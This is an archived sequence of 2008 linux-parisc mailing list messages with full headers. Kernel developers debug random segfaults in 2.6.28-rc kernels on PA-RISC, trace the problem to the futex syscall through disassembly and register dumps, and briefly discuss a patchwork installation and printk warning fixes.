Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/912>

On Sun, Dec 07, 2008 at 11:50:02PM -0500, John David Anglin wrote:
> > Given your earlier comments it would seen the segfault is not
> > reproducible and happens often and randomly?
> 
> I gave 2.6.28-rc7-git5 a try this evening.  Hit the same error.
> While its occurence may be random, the identical fault occurred
> multiple times in a short period of testing.

I routinely get a segfault the first time I attempt to compile linux-2.6
kernel after reboot.  If I "find linux-2.6 | xargs cksum", the kernel
builds fine.

> I see this bit of code in _dl_fixup:
> 
> 0x401ed464 <_dl_fixup+172>:	mfctl tr3,r21
> 0x401ed468 <_dl_fixup+176>:	ldw -3e0(r21),ret0
> 0x401ed46c <_dl_fixup+180>:	cmpib,<> 0,ret0,0x401ed628 <_dl_fixup+624>
> 
> and
> 
> 0x401ed5fc <_dl_fixup+580>:	ldi 1,r24
> 0x401ed600 <_dl_fixup+584>:	ldi 0,r23
> 0x401ed604 <_dl_fixup+588>:	mfctl tr3,r26
> 0x401ed608 <_dl_fixup+592>:	copy r24,r25
> 0x401ed60c <_dl_fixup+596>:	ldo -3dc(r26),r26
> 0x401ed610 <_dl_fixup+600>:	copy r19,r4
> 0x401ed614 <_dl_fixup+604>:	be,l 100(sr2,r0),sr0,r31
> 0x401ed618 <_dl_fixup+608>:	ldi d2,r20
> 
> So, the code is using the thread register (cr27).  Not sure what syscall
> this is.  However, the problem might be TLS releated.

I have no idea if TLS makes a difference to kernel builds.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 07:39:55 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <119aab440812080439l12c2feb8u500eeea3ad5bbd20@mail.gmail.com>
References: <119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com>
	 <20081208045003.4CF644E99@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228740008 17639 80.91.229.12 (8 Dec 2008 12:40:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 12:40:08 +0000 (UTC)
Cc: grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 13:41:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9fQE-0007kK-Of
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 13:41:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751732AbYLHMj5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 07:39:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751809AbYLHMj5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 07:39:57 -0500
Original-Received: from yw-out-2324.google.com ([74.125.46.30]:53383 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751732AbYLHMj4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 07:39:56 -0500
Original-Received: by yw-out-2324.google.com with SMTP id 9so430033ywe.1
        for <linux-parisc@vger.kernel.org>; Mon, 08 Dec 2008 04:39:55 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=sWG16QzsD+BLvJQ8d919TRR7rmYdONVvjTxp211m8a4=;
        b=PkoM7mjiEUGF4ifLxrKYYwZvdWmr4eMWKawZw21h3WOMtN1E5zd2HqiX36pCb//I8n
         ktzPVPahmV95s20tg8nXBrr5BBloTwCcRxKrO9G8locY5p5DMAK/7B+v3xy7+mjvnx0a
         3Vkml+uiJyrLrLb0rfZpADQd5Nb0orojgR7m4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=OwpscObwJOMucPRdBoN3fRS611709yfLwz+oF7y/PaRVD91qlxNvJXeglIExsgRwlP
         kjZiRH9oM4M+nHqFpWvZPasj4KsgUTZ8Bo6ytGEtuhwlA7sStjx48joYsw/qh1zCC505
         bVJcQxo7xtS3ZNf3N+P5Vc4PH9uk9QSlIKXJ8=
Original-Received: by 10.143.4.11 with SMTP id g11mr1469725wfi.168.1228739995241;
        Mon, 08 Dec 2008 04:39:55 -0800 (PST)
Original-Received: by 10.142.86.10 with HTTP; Mon, 8 Dec 2008 04:39:55 -0800 (PST)
In-Reply-To: <20081208045003.4CF644E99@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 94e649c53785c775
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:913
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/913>

On Sun, Dec 7, 2008 at 11:50 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Given your earlier comments it would seen the segfault is not
>> reproducible and happens often and randomly?
>
> I gave 2.6.28-rc7-git5 a try this evening.  Hit the same error.
> While its occurence may be random, the identical fault occurred
> multiple times in a short period of testing.
>
> I see this bit of code in _dl_fixup:
>
> 0x401ed464 <_dl_fixup+172>:     mfctl tr3,r21
> 0x401ed468 <_dl_fixup+176>:     ldw -3e0(r21),ret0
> 0x401ed46c <_dl_fixup+180>:     cmpib,<> 0,ret0,0x401ed628 <_dl_fixup+624>
>
> and
>
> 0x401ed5fc <_dl_fixup+580>:     ldi 1,r24
> 0x401ed600 <_dl_fixup+584>:     ldi 0,r23
> 0x401ed604 <_dl_fixup+588>:     mfctl tr3,r26
> 0x401ed608 <_dl_fixup+592>:     copy r24,r25
> 0x401ed60c <_dl_fixup+596>:     ldo -3dc(r26),r26
> 0x401ed610 <_dl_fixup+600>:     copy r19,r4
> 0x401ed614 <_dl_fixup+604>:     be,l 100(sr2,r0),sr0,r31
> 0x401ed618 <_dl_fixup+608>:     ldi d2,r20
>
> So, the code is using the thread register (cr27).  Not sure what syscall
> this is.  However, the problem might be TLS releated.

The thread register has always been used to track thread specific
information, even in linuxthreads.

The syscall is __NR_futex.

If you can produce a synthetic testcase that calls __NR_futex and
crashes the kernel then we'll have something for the kernel hackers to
look at?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: patchwork running on linux-parisc@
Date: Mon, 8 Dec 2008 07:41:11 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <119aab440812080441k6d189fb2jdfa33d849364d02d@mail.gmail.com>
References: <20081208000858.GK28348@bombadil.infradead.org>
	 <20081208054643.GB2413@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228740085 17894 80.91.229.12 (8 Dec 2008 12:41:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 12:41:25 +0000 (UTC)
Cc: "Kyle McMartin" <kyle@infradead.org>, linux-parisc@vger.kernel.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 13:42:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9fRT-0008Af-JW
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 13:42:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751732AbYLHMlO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 07:41:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751807AbYLHMlO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 07:41:14 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.170]:13254 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751732AbYLHMlN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 07:41:13 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 27so1256959wfd.4
        for <linux-parisc@vger.kernel.org>; Mon, 08 Dec 2008 04:41:12 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=mTD3ytTlNOAligk66NQhOqqNWoFQnEyBRzbxOkYB+Gw=;
        b=pX1s/du+K97p+jJOnJFc2a2nRmmmZsI9963wcjP6NblLsnLfns52pF1vdUyx7vT4Aa
         CX6PrxnS+0qx0y5U5pUIBQn/JoH9Lc+0T1xN25fcOrDXHknCshVp2pBKEKvWpj6ckY05
         IxByyJljptAkyozoaX+R+aVFuNp6zb9OM4ir0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=MSjIOZUrhv9lEEvZC9Yhlp53NUtR2QL10TdXcJPsF4SaT2r+Pb9VSyoEAiKZcGuiew
         EkfuB9rSqjWy1CUe/yvFn8tF1e+ngt/zjfJRhHpiRxtuyU8BCIGCOUxK1HmAwIdUueXt
         9kdXwbXf1EfywK0TlFZ+OeRxOS63540v3Cugs=
Original-Received: by 10.142.221.11 with SMTP id t11mr1466465wfg.238.1228740071973;
        Mon, 08 Dec 2008 04:41:11 -0800 (PST)
Original-Received: by 10.142.86.10 with HTTP; Mon, 8 Dec 2008 04:41:11 -0800 (PST)
In-Reply-To: <20081208054643.GB2413@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 55e0ce87fc857da3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:914
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/914>

On Mon, Dec 8, 2008 at 12:46 AM, Grant Grundler
<grundler@parisc-linux.org> wrote:
> On Sun, Dec 07, 2008 at 07:08:58PM -0500, Kyle McMartin wrote:
>> I've enabled a patchwork installation, hopefully I won't miss any more
>> patches posted on the list now. Please ensure all patches destined for
>> the kernel hit the mailing list, so they get archived by patchwork...
>>
>>       http://patchwork.cabal.ca/project/linux-parisc/list/
>
> Kyle - this is awesome! Thanks!

Really very cool!

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 09:54:50 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20081208145451.2116F4EDA@hiauly1.hia.nrc.ca>
References: <119aab440812080439l12c2feb8u500eeea3ad5bbd20@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228748103 12930 80.91.229.12 (8 Dec 2008 14:55:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 14:55:03 +0000 (UTC)
Cc: grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 15:56:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9hWp-0002b1-Cr
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 15:56:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754071AbYLHOyx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 09:54:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754051AbYLHOyx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 09:54:53 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1519 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753992AbYLHOyw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 09:54:52 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 2116F4EDA; Mon,  8 Dec 2008 09:54:50 -0500 (EST)
In-Reply-To: <119aab440812080439l12c2feb8u500eeea3ad5bbd20@mail.gmail.com> from "Carlos O'Donell" at Dec 8, 2008 07:39:55 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:915
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/915>

> > So, the code is using the thread register (cr27).  Not sure what syscall
> > this is.  However, the problem might be TLS releated.
> 
> The thread register has always been used to track thread specific
> information, even in linuxthreads.
> 
> The syscall is __NR_futex.
> 
> If you can produce a synthetic testcase that calls __NR_futex and
> crashes the kernel then we'll have something for the kernel hackers to
> look at?

How long have futex's been used on hppa?  I guess we really need to try
run the glibc testsuite on a new kernel.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 10:02:47 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <119aab440812080702k6ab8c0f4k772f0f0bc9eb2893@mail.gmail.com>
References: <119aab440812080439l12c2feb8u500eeea3ad5bbd20@mail.gmail.com>
	 <20081208145451.2116F4EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228748580 14791 80.91.229.12 (8 Dec 2008 15:03:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 15:03:00 +0000 (UTC)
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	"Helge Deller" <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 16:04:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9heV-0005XS-JF
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 16:04:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751972AbYLHPCt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 10:02:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752031AbYLHPCt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 10:02:49 -0500
Original-Received: from an-out-0708.google.com ([209.85.132.242]:19266 "EHLO
	an-out-0708.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751972AbYLHPCt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 10:02:49 -0500
Original-Received: by an-out-0708.google.com with SMTP id d40so466481and.1
        for <linux-parisc@vger.kernel.org>; Mon, 08 Dec 2008 07:02:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=n+d4SXuvvy9gNwjx5iypt60raPbVghxaZ3WldOs829E=;
        b=e0qe5yk5WWiVVM/6mxjh9vqWCrgow/4hDDAFwa50R7705mfPC3h3bTXAIDOW0vKCdK
         WJCWJJcIEoMB3VP9tweXJCwg0eGg6ODXTb/Rs6BogtnlLj6hqMo+uBlBKWvdIhcJ8b4C
         PzxJIlc1F6dy6MGLrxMa49kYx9ioZj4iOuesk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=HXIvel2oaX3PMHfXoP5PIPiBI60k8e+r38etOgzB5rqQWGRn2TsXscQbo/ghCOWKrB
         T0nSefDbxZdPgvTKq0Fwf3iKsLaCNxVYmFau6x5cJGwTP5k5KVJnclTZ/R7o5hmuGoNE
         C26UoDMyk8vmhd29lDJwX4EYnrU8Pt5qEcvPU=
Original-Received: by 10.142.241.10 with SMTP id o10mr1520321wfh.112.1228748567375;
        Mon, 08 Dec 2008 07:02:47 -0800 (PST)
Original-Received: by 10.142.86.10 with HTTP; Mon, 8 Dec 2008 07:02:47 -0800 (PST)
In-Reply-To: <20081208145451.2116F4EDA@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: cf9c7616d8f11fdf
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:916
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/916>

On Mon, Dec 8, 2008 at 9:54 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> > So, the code is using the thread register (cr27).  Not sure what syscall
>> > this is.  However, the problem might be TLS releated.
>>
>> The thread register has always been used to track thread specific
>> information, even in linuxthreads.
>>
>> The syscall is __NR_futex.
>>
>> If you can produce a synthetic testcase that calls __NR_futex and
>> crashes the kernel then we'll have something for the kernel hackers to
>> look at?
>
> How long have futex's been used on hppa?  I guess we really need to try
> run the glibc testsuite on a new kernel.

The futex function has been available almost since futex's first appeared

The futex API is exported to userspace and can be used by any application.

e.g. man futex
~~~
NAME
       futex - Fast Userspace Locking system call

SYNOPSIS
       #include <linux/futex.h>
       #include <sys/time.h>

       int futex(int *uaddr, int op, int val, const struct timespec *timeout,
                 int *uaddr2, int val3);
~~~

Yes, the glibc testsuite is one of the best ways to exercise a lot of
kernel syscalls.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 10:16:15 -0500 (EST)
Lines: 42
Approved: news@gmane.org
Message-ID: <20081208151615.BF6D24EDA@hiauly1.hia.nrc.ca>
References: <20081208075001.GB28779@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228749399 17856 80.91.229.12 (8 Dec 2008 15:16:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 15:16:39 +0000 (UTC)
Cc: carlos@systemhalted.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 16:17:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9hrX-0002E2-Bb
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 16:17:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751819AbYLHPQR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 10:16:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752219AbYLHPQR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 10:16:17 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1527 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751819AbYLHPQR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 10:16:17 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id BF6D24EDA; Mon,  8 Dec 2008 10:16:15 -0500 (EST)
In-Reply-To: <20081208075001.GB28779@colo.lackof.org> from "Grant Grundler" at Dec 8, 2008 00:50:01 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:917
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/917>

> On Sun, Dec 07, 2008 at 11:50:02PM -0500, John David Anglin wrote:
> > > Given your earlier comments it would seen the segfault is not
> > > reproducible and happens often and randomly?
> > 
> > I gave 2.6.28-rc7-git5 a try this evening.  Hit the same error.
> > While its occurence may be random, the identical fault occurred
> > multiple times in a short period of testing.
> 
> I routinely get a segfault the first time I attempt to compile linux-2.6
> kernel after reboot.  If I "find linux-2.6 | xargs cksum", the kernel
> builds fine.

Actually, my first segfault with 2.6.28-rc7-git5 was in the initial boot
in mountnfs.  I rebooted and it didn't reoccur.  Again, this was a page
fault:

do_page_fault() pid=3502 command='mountnfs' type=15 address=0x00000364

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Tainted: G        W
r00-03  000000ff0004ff0f 00000000fb3a9ee8 0000000040213b5b 00000000000cf6a0
r04-07  0000000000000000 0000000000000360 00000000000e0c28 00000000000e08a8
...
IASQ: 0000000000621800 0000000000621800 IAOQ: 000000004020d40f 000000004020d413
 IIR: 0ca81095    ISR: 0000000000621800  IOR: 0000000000000364
 CPU:        1   CR30: 000000007e084000 CR31: ffffffffffffffff

dave@hiauly6:~/opt/gnu/bin$ disasm 0x0ca81095
   0:   0c a8 10 95     ldw 4(r5),r21

Sometimes I have the feeling that with 2.6.22.19) you get one segfault
and then it runs normally for a long time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 10:23:28 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20081208152328.E8C514EDA@hiauly1.hia.nrc.ca>
References: <20081208051521.GI9092@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228749832 22318 80.91.229.12 (8 Dec 2008 15:23:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 15:23:52 +0000 (UTC)
Cc: T-Bone@parisc-linux.org, deller@gmx.de, gmsoft@tuxicoman.be,
	carlos@systemhalted.org, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 16:24:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9hyW-0005Ag-Fo
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 16:24:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751775AbYLHPXb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 10:23:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751792AbYLHPXa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 10:23:30 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1532 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751775AbYLHPXa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 10:23:30 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E8C514EDA; Mon,  8 Dec 2008 10:23:28 -0500 (EST)
In-Reply-To: <20081208051521.GI9092@bombadil.infradead.org> from "Kyle McMartin" at Dec 8, 2008 00:15:21 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:918
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/918>

> The prettiest way to do it would be to add a %p handler for
> resource_size_t args, cheat on the pointing bit, and clean up the
> in-tree users of %llx/ull-casts.

I went through the warnings that I saw yesterday implementing Helge's
%p suggestion.  It's not beautiful but it works.   I'll post tonight.

I only fixed the occurences that popped up in my build.  I'm sure that
more are lurking.

Feel free to implement %p handler.

I also fixed some other warnings and will post for comment when I separate
the diffs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
